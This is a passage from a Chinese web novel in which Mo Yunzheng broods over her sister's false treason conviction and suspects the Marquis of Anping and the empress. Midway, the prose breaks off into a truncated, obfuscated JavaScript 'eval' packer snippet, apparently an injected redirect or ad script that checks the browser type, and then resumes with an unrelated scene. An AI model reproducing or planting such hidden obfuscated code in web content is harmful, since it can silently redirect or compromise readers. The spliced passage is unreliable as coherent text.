她不仅活了下来,那些往日不住羞辱姐姐的嘴也再没机会吐出一个字。 如今听到这个消息,竟是安平侯助了她一臂之力。 但她唯有一件事想不明白。 究竟是什么仇怨,让安平侯对一个毫无威胁的十岁孩童痛下杀手,甚至于想将她置于死地,不惜让那么多无辜的性命作为弃子。 而她姐姐的冤案,是否也出自她的手笔。 这样才能解释,她所做的一切只为了斩草除根。 毕竟通敌叛国可是遗臭万年的死罪。 是安平侯做出这样的事,反而诬告她姐姐的吗?亦或是有其他隐情。 不管怎么样,既然她做出这样的事,必然与之脱不了干系。 女帝又充当了什么角色呢。 是谁做出这样的事,仍可以让她不惜误判真相,让好友家破人亡,也要保住那人的名声与性命。 越想下去,墨云徵便越觉得胸口发闷。 她本以为自己早就麻木了。 关于她的姐姐,关于曾经自己仰望的女帝,姐姐口中誓死效忠的明君。 多么明媚又鲜活的人,带着满腔的赤城,最后只落得兔死狗烹,鸟尽弓藏。 才不过二十五的年岁。 正是该在沙场上大展拳脚,扬名立万的时候。再不过也是折戟于沙,为国捐躯,死的光荣。 怎么就被冠上了这么屈辱的罪名,匆匆的离开了。 徒留她一人在这污浊的世间挣扎。 多年的怨也好,恨也罢,在听到谢南书所说的话后,都有了宣泄的出口,胀的她心脏都快碎裂。 可她现在没法报仇,没法提起刀将所有仇人手刃。 还有其他人,墨云徵想。 除了安平侯,还有其他人。 真正该被世人唾骂的,现在还稳坐高堂,享受着她姐姐姐夫用命换来的平静。 她不会放过一个参与其中的刽子手。 谢南书不知道她为何发笑,也不知她在这良久的沉默中想了什么。 他只敏感地察觉到女人周身的气场愈发压抑,连他都闷得有些喘不过气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隐藏在竹林的的亭子里有一群人,只见他们都簇着个女人,围着坐着,旁边是从湖里分出来的小溪,摆了许多吃食,只是清明节最常见的青团,就放了好几个种类。 这样的架势,谢南书只消一眼就认出是谁组的局,他实在不想跟那群人惹上关系,赶紧想要放下帘子装作没看到。 不过还是晚了一步。 “唉——唉,那不是安平侯家的小世子?怎么看到我们就要跑,难得遇到了,不打个招呼再走?” 听了这话,四周的人嘻嘻哈哈地笑了起来,而中间的女人也起身举起了酒杯,大声道,“就算要走,怎么也得喝了这杯再走吧,不然我可不依。” 那女人声音含糊,似是已经醉了,但走路的模样不带半分醉意,倒是虚浮的如同早就被掏空。 墨云徵没见到他们的模样,却也听得出是个酒色之徒。